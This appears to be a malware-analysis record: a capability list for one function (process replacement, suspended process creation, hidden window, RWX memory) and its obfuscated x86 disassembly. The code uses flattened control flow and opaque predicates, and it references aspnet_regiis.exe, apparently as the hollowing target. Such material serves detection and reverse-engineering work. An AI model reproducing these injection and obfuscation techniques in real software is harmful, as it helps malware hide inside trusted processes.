Function at 0x10008fc0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x15c
mov eax, dword [0x10076800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x164], 0x2dbb7bbc
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x168], eax
sub eax, 0x8006ef90
je 0x1000e321
jmp 0x10008ffc
mov eax, dword [ebp - 0x168]
sub eax, 0x80457764
je 0x10012026
jmp 0x10009012
mov eax, dword [ebp - 0x168]
sub eax, 0x805934f4
je 0x100101cb
jmp 0x10009028
mov eax, dword [ebp - 0x168]
sub eax, 0x80714f87
je 0x10010be9
jmp 0x1000903e
mov eax, dword [ebp - 0x168]
sub eax, 0x809a7380
je 0x100127d3
jmp 0x10009054
mov eax, dword [ebp - 0x168]
sub eax, 0x80a166e9
je 0x1000f4c9
jmp 0x1000906a
mov eax, dword [ebp - 0x168]
sub eax, 0x810b406c
je 0x10013b48
jmp 0x10009080
mov eax, dword [ebp - 0x168]
sub eax, 0x8122e49f
je 0x10014770
jmp 0x10009096
mov eax, dword [ebp - 0x168]
sub eax, 0x812b8301
je 0x1000fdd1
jmp 0x100090ac
mov eax, dword [ebp - 0x168]
sub eax, 0x81312fe0
je 0x10012238
jmp 0x100090c2
mov eax, dword [ebp - 0x168]
sub eax, 0x814256b0
je 0x100114b9
jmp 0x100090d8
mov eax, dword [ebp - 0x168]
sub eax, 0x8161fd16
je 0x1000f4ea
jmp 0x100090ee
mov eax, dword [ebp - 0x168]
sub eax, 0x816bea04
je 0x10012e5a
jmp 0x10009104
mov eax, dword [ebp - 0x168]
sub eax, 0x81bcc52b
je 0x10013809
jmp 0x1000911a
mov eax, dword [ebp - 0x168]
sub eax, 0x81e410aa
je 0x1001676e
jmp 0x10009130
mov eax, dword [ebp - 0x168]
sub eax, 0x82189282
je 0x10017617
jmp 0x10009146
mov eax, dword [ebp - 0x168]
sub eax, 0x82d8cd81
je 0x10017f10
jmp 0x1000915c
mov eax, dword [ebp - 0x168]
sub eax, 0x82d9eb13
je 0x10010346
jmp 0x10009172
mov eax, dword [ebp - 0x168]
sub eax, 0x82dd0be4
je 0x1000fcd5
jmp 0x10009188
mov eax, dword [ebp - 0x168]
sub eax, 0x8396248b
je 0x10014835
jmp 0x1000919e
mov eax, dword [ebp - 0x168]
sub eax, 0x843be008
je 0x10017d55
jmp 0x100091b4
mov eax, dword [ebp - 0x168]
sub eax, 0x84507da4
je 0x1000f202
jmp 0x100091ca
mov eax, dword [ebp - 0x168]
sub eax, 0x85205bda
je 0x1000ef7d
jmp 0x100091e0
mov eax, dword [ebp - 0x168]
sub eax, 0x85ddc3db
je 0x1000e54a
jmp 0x100091f6
mov eax, dword [ebp - 0x168]
sub eax, 0x8696c1de
je 0x10017306
jmp 0x1000920c
mov eax, dword [ebp - 0x168]
sub eax, 0x86a5310e
je 0x10012fbd
jmp 0x10009222
mov eax, dword [ebp - 0x168]
sub eax, 0x86d7f35c
je 0x10014ebf
jmp 0x10009238
mov eax, dword [ebp - 0x168]
sub eax, 0x8721e65d
je 0x10016fb0
jmp 0x1000924e
mov eax, dword [ebp - 0x168]
sub eax, 0x87552942
je 0x1000fb2a
jmp 0x10009264
mov eax, dword [ebp - 0x168]
sub eax, 0x87cd9b72
je 0x1001528b
jmp 0x1000927a
mov eax, dword [ebp - 0x168]
sub eax, 0x88657883
je 0x100149db
jmp 0x10009290
mov eax, dword [ebp - 0x168]
sub eax, 0x89031e72
je 0x10013a0f
jmp 0x100092a6
mov eax, dword [ebp - 0x168]
sub eax, 0x89310b21
je 0x10011d07
jmp 0x100092bc
mov eax, dword [ebp - 0x168]
sub eax, 0x8a63fa09
je 0x10014524
jmp 0x100092d2
mov eax, dword [ebp - 0x168]
sub eax, 0x8ab8583c
je 0x100124a4
jmp 0x100092e8
mov eax, dword [ebp - 0x168]
sub eax, 0x8b104a27
je 0x10012705
jmp 0x100092fe
mov eax, dword [ebp - 0x168]
sub eax, 0x8c2bd0e7
je 0x10013e1d
jmp 0x10009314
mov eax, dword [ebp - 0x168]
sub eax, 0x8c933808
je 0x1000db56
jmp 0x1000932a
mov eax, dword [ebp - 0x168]
sub eax, 0x8d1d8c5e
je 0x1000d868
jmp 0x10009340
mov eax, dword [ebp - 0x168]
sub eax, 0x8db20444
je 0x10017d76
jmp 0x10009356
mov eax, dword [ebp - 0x168]
sub eax, 0x8df94d93
je 0x100136a6
jmp 0x1000936c
mov eax, dword [ebp - 0x168]
sub eax, 0x8e6f46c7
je 0x100158d9
jmp 0x10009382
mov eax, dword [ebp - 0x168]
sub eax, 0x8eaee1f7
je 0x1001299b
jmp 0x10009398
mov eax, dword [ebp - 0x168]
sub eax, 0x8ef0d74b
je 0x10011e96
jmp 0x100093ae
mov eax, dword [ebp - 0x168]
sub eax, 0x8efe509d
je 0x10010a0b
jmp 0x100093c4
mov eax, dword [ebp - 0x168]
sub eax, 0x8f425b38
je 0x100144c1
jmp 0x100093da
mov eax, dword [ebp - 0x168]
sub eax, 0x8fcd553e
je 0x1001333c
jmp 0x100093f0
mov eax, dword [ebp - 0x168]
sub eax, 0x9033ea9f
je 0x100174d0
jmp 0x10009406
mov eax, dword [ebp - 0x168]
sub eax, 0x91682dcb
je 0x100152a8
jmp 0x1000941c
mov eax, dword [ebp - 0x168]
sub eax, 0x91ae2297
je 0x1001298c
jmp 0x10009432
mov eax, dword [ebp - 0x168]
sub eax, 0x91b0bf73
je 0x10013e92
jmp 0x10009448
mov eax, dword [ebp - 0x168]
sub eax, 0x91f2a324
je 0x10013ea1
jmp 0x1000945e
mov eax, dword [ebp - 0x168]
sub eax, 0x921aa4de
je 0x100175c6
jmp 0x10009474
mov eax, dword [ebp - 0x168]
sub eax, 0x92216d97
je 0x1000f21f
jmp 0x1000948a
mov eax, dword [ebp - 0x168]
sub eax, 0x9231023a
je 0x1000d614
jmp 0x100094a0
mov eax, dword [ebp - 0x168]
sub eax, 0x926ab07e
je 0x10010063
jmp 0x100094b6
mov eax, dword [ebp - 0x168]
sub eax, 0x92c71d51
je 0x10016587
jmp 0x100094cc
mov eax, dword [ebp - 0x168]
sub eax, 0x935c3f68
je 0x1000f13b
jmp 0x100094e2
mov eax, dword [ebp - 0x168]
sub eax, 0x93c9a2f7
je 0x10017db8
jmp 0x100094f8
mov eax, dword [ebp - 0x168]
sub eax, 0x945fea9c
je 0x1000d849
jmp 0x1000950e
mov eax, dword [ebp - 0x168]
sub eax, 0x95f6f704
je 0x1000df9c
jmp 0x10009524
mov eax, dword [ebp - 0x168]
sub eax, 0x960664d0
je 0x100140d6
jmp 0x1000953a
mov eax, dword [ebp - 0x168]
sub eax, 0x966910d4
je 0x100158ad
jmp 0x10009550
mov eax, dword [ebp - 0x168]
sub eax, 0x9672a64b
je 0x1001789c
jmp 0x10009566
mov eax, dword [ebp - 0x168]
sub eax, 0x97235317
je 0x100109fc
mov dword [ebp - 0x164], 0xf12c6235
jmp 0x1001822e
movss xmm0, dword [0x100257e4]
movss dword [ebp - 0x154], xmm0
mov dword [ebp - 0x164], 0x8d1d8c5e
jmp 0x1001822e
mov dl, 1
mov eax, 0xa21c6d3b
mov ecx, 0xfe835adb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov eax, dword [0x10077b28]
mov ecx, dword [0x10077b24]
mov edx, eax
add edx, 0x5b513026
sub edx, 1
sub edx, 0x5b513026
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe28ac659
mov ecx, 0x60081395
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov dl, 1
mov eax, 0xe2ddadc2
mov ecx, 0xdfeea5d1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov dword [ebp - 0x164], 0xd2e9e741
jmp 0x1001822e
movss xmm0, dword [0x10025798]
movss dword [ebp - 0x15c], xmm0
movss xmm0, dword [0x10025794]
movss dword [ebp - 0x15c], xmm0
mov dword [ebp - 0x164], 0x3bc10df6
jmp 0x1001822e
movss xmm0, dword [0x10025748]
movss dword [ebp - 0x160], xmm0
mov dword [ebp - 0x164], 0xe620ad4
jmp 0x1001822e
mov eax, dword [0x10077b28]
mov ecx, dword [0x10077b24]
mov edx, eax
add edx, 0x46e77f4
sub edx, 1
sub edx, 0x46e77f4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x38ccd984
mov ecx, 0xf432f0ba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov dl, 1
mov eax, 0xe1ffcee0
mov ecx, 0x92216d97
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
movss xmm0, dword [0x10025744]
movss dword [ebp - 0x160], xmm0
movss xmm0, dword [0x10025740]
movss dword [ebp - 0x160], xmm0
mov dword [ebp - 0x164], 0x61bea694
jmp 0x1001822e
mov eax, dword [ebp - 0x150]
movss xmm0, dword [0x1002572c]
movss dword [eax], xmm0
mov dword [ebp - 0x164], 0x8161fd16
jmp 0x1001822e
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
mov edx, ecx
add edx, 0x4b4a068d
sub edx, 1
sub edx, 0x4b4a068d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1a2e9f1
mov ecx, 0xee0d172e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov dword [ebp - 0x164], 0xee065166
jmp 0x1001822e
mov eax, dword [ebp - 0x14c]
movss xmm0, dword [0x100254ac]
movss dword [eax], xmm0
mov eax, dword [0x10077b28]
mov ecx, dword [0x10077b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc63c27d4
mov ecx, 0xffac072d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov dl, 1
mov eax, 0xc5f1488d
mov ecx, 0xc3a3e150
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov eax, dword [0x10077b28]
mov ecx, dword [0x10077b24]
mov edx, eax
add edx, 0xd120c594
sub edx, 1
sub edx, 0xd120c594
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf68ca208
mov ecx, 0x2c75278b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov dl, 1
mov eax, 0xc9aa8d52
mov ecx, 0xefdc49a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov eax, dword [ebp - 0x14c]
movss xmm0, dword [0x10025498]
movss dword [eax], xmm0
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x82189282
mov ecx, 0x796f39d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov eax, dword [ebp - 0x148]
movss xmm0, dword [0x100256e0]
movss dword [eax], xmm0
mov dword [ebp - 0x164], 0x574a22db
jmp 0x1001822e
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x22c5402f
mov ecx, 0xf95c8bf8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov dword [ebp - 0xc4], eax
mov eax, dword [0x10077b28]
mov ecx, dword [0x10077b24]
mov edx, eax
add edx, 0xe9c0c764
sub edx, 1
sub edx, 0xe9c0c764
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdccebd7
mov ecx, 0x4a43197d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov eax, dword [ebp - 0x13c]
movss xmm0, dword [0x10025670]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x13c]
movss xmm0, dword [0x1002566c]
movss dword [eax], xmm0
mov dword [ebp - 0x164], 0xec6df47c
jmp 0x1001822e
mov eax, dword [ebp - 0x13c]
movss xmm0, dword [0x10025444]
movss dword [eax], xmm0
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
mov edx, ecx
add edx, 0x2e7d4ac3
sub edx, 1
sub edx, 0x2e7d4ac3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfdee5600
mov ecx, 0x7c1f9d2c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
mov edx, ecx
sub edx, 0x6c5b82f5
sub edx, 1
add edx, 0x6c5b82f5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd1cec7d0
mov ecx, 0xdb670c47
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov eax, dword [ebp - 0x13c]
movss xmm0, dword [0x10025660]
movss dword [eax], xmm0
mov dword [ebp - 0x164], 0x61406abb
jmp 0x1001822e
mov eax, dword [ebp - 0x138]
movss xmm0, dword [0x1002563c]
movss dword [eax], xmm0
mov dword [ebp - 0x164], 0x7578ef9b
jmp 0x1001822e
mov dword [ebp - 0x164], 0xda36049b
jmp 0x1001822e
mov dl, 1
mov eax, 0x8eaee1f7
mov ecx, 0x9d498d5d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov dword [ebp - 0x164], 0x8eaee1f7
jmp 0x1001822e
mov eax, dword [0x10077b28]
mov ecx, dword [0x10077b24]
mov edx, eax
sub edx, 0x62e5a6a5
sub edx, 1
add edx, 0x62e5a6a5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbef3bc67
mov ecx, 0xc5863ebb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov dword [ebp - 0x164], 0x488d3200
jmp 0x1001822e
mov dword [ebp - 0x164], 0x36c60045
jmp 0x1001822e
mov eax, dword [0x10077b28]
mov ecx, dword [0x10077b24]
mov edx, eax
sub edx, 0xce414add
sub edx, 1
add edx, 0xce414add
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf26d0e58
mov ecx, 0x4ae78bfd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x100255f8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x100255f4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x100255f0]
movss dword [eax], xmm0
mov dword [ebp - 0x164], 0x43ef7754
jmp 0x1001822e
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x82b9d02
mov ecx, 0x96915fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
mov edx, ecx
add edx, 0xdcf30385
sub edx, 1
sub edx, 0xdcf30385
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3742c1fb
mov ecx, 0x3314bb5b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4585b4
mov ecx, 0xc52320d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov eax, dword [ebp - 0x12c]
movss xmm0, dword [0x100253e4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x12c]
movss xmm0, dword [0x100253e0]
movss dword [eax], xmm0
mov eax, dword [0x10077b28]
mov ecx, dword [0x10077b24]
mov edx, eax
sub edx, 0x85bfa186
sub edx, 1
add edx, 0x85bfa186
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc7d9820b
mov ecx, 0x91b0bf73
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov dword [ebp - 0x164], 0x91f2a324
jmp 0x1001822e
mov eax, dword [ebp - 0x12c]
movss xmm0, dword [0x100255c4]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0x767dec89
mov ecx, 0xd3e2e860
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov dl, 1
mov eax, 0x5b0417bb
mov ecx, 0x654b8774
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov eax, dword [ebp - 0x12c]
movss xmm0, dword [0x100255b4]
movss dword [eax], xmm0
mov dword [ebp - 0x164], 0xba09c187
jmp 0x1001822e
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
mov edx, ecx
sub edx, 0x98f94f3d
sub edx, 1
add edx, 0x98f94f3d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x54243f17
mov ecx, 0x3e3d8202
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov eax, dword [ebp - 0x12c]
movss xmm0, dword [0x1002559c]
movss dword [eax], xmm0
mov dword [ebp - 0x164], 0xd3143477
jmp 0x1001822e
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x10025584]
movss dword [eax], xmm0
mov dword [ebp - 0x164], 0xead952d6
jmp 0x1001822e
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa5eeedab
mov ecx, 0xceceb42e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x10025568]
movss dword [eax], xmm0
mov dword [ebp - 0x164], 0xd397286
jmp 0x1001822e
mov dl, 1
mov eax, 0xbd29295c
mov ecx, 0x91682dcb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x10025548]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x10025544]
movss dword [eax], xmm0
mov dword [ebp - 0x164], 0x4d6cdda1
jmp 0x1001822e
mov eax, dword [ebp - 0x104]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x164], 0x3e3f1a4a
jmp 0x1001822e
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x82d8cd81
mov ecx, 0xf808a8b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
mov edx, ecx
sub edx, 0xd4dffd55
sub edx, 1
add edx, 0xd4dffd55
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf41debf8
mov ecx, 0x39a729ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1001822e
mov dword [ebp - 0x164], 0xfe5c5b5b
jmp 0x1001822e
mov dword [ebp - 0x164], 0xeb5b5b38
jmp 0x1001822e
movss xmm0, dword [0x100254f0]
movss dword [ebp - 0x15c], xmm0
mov dword [ebp - 0x164], 0x573d5fd3
jmp 0x1001822e
mov dword [ebp - 0x164], 0xddf55a91
jmp 0x1001822e
mov dword [ebp - 0x164], 0xe34a8917
jmp 0x1001822e
mov eax, dword [ebp - 0x14c]
movss xmm0, dword [0x10025498]
movss dword [eax], xmm0
mov dword [ebp - 0x164], 0x82d9eb13
jmp 0x1001822e
mov eax, dword [ebp - 0x140]
movss xmm0, dword [0x10025450]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x140]
movss xmm0, dword [0x1002544c]
movss dword [eax], xmm0
mov dword [ebp - 0x164], 0x66f2f60d
jmp 0x1001822e
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x100253cc]
movss dword [eax], xmm0
mov dword [ebp - 0x164], 0xb1f02778
jmp 0x1001822e
mov dword [ebp - 0x164], 0xfb0a8d98
jmp 0x1001822e
mov dword [ebp - 0x164], 0x7ea3a850
jmp 0x1001822e
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x164], 0xf808a8b8
jmp 0x1001822e
jmp 0x10008fe0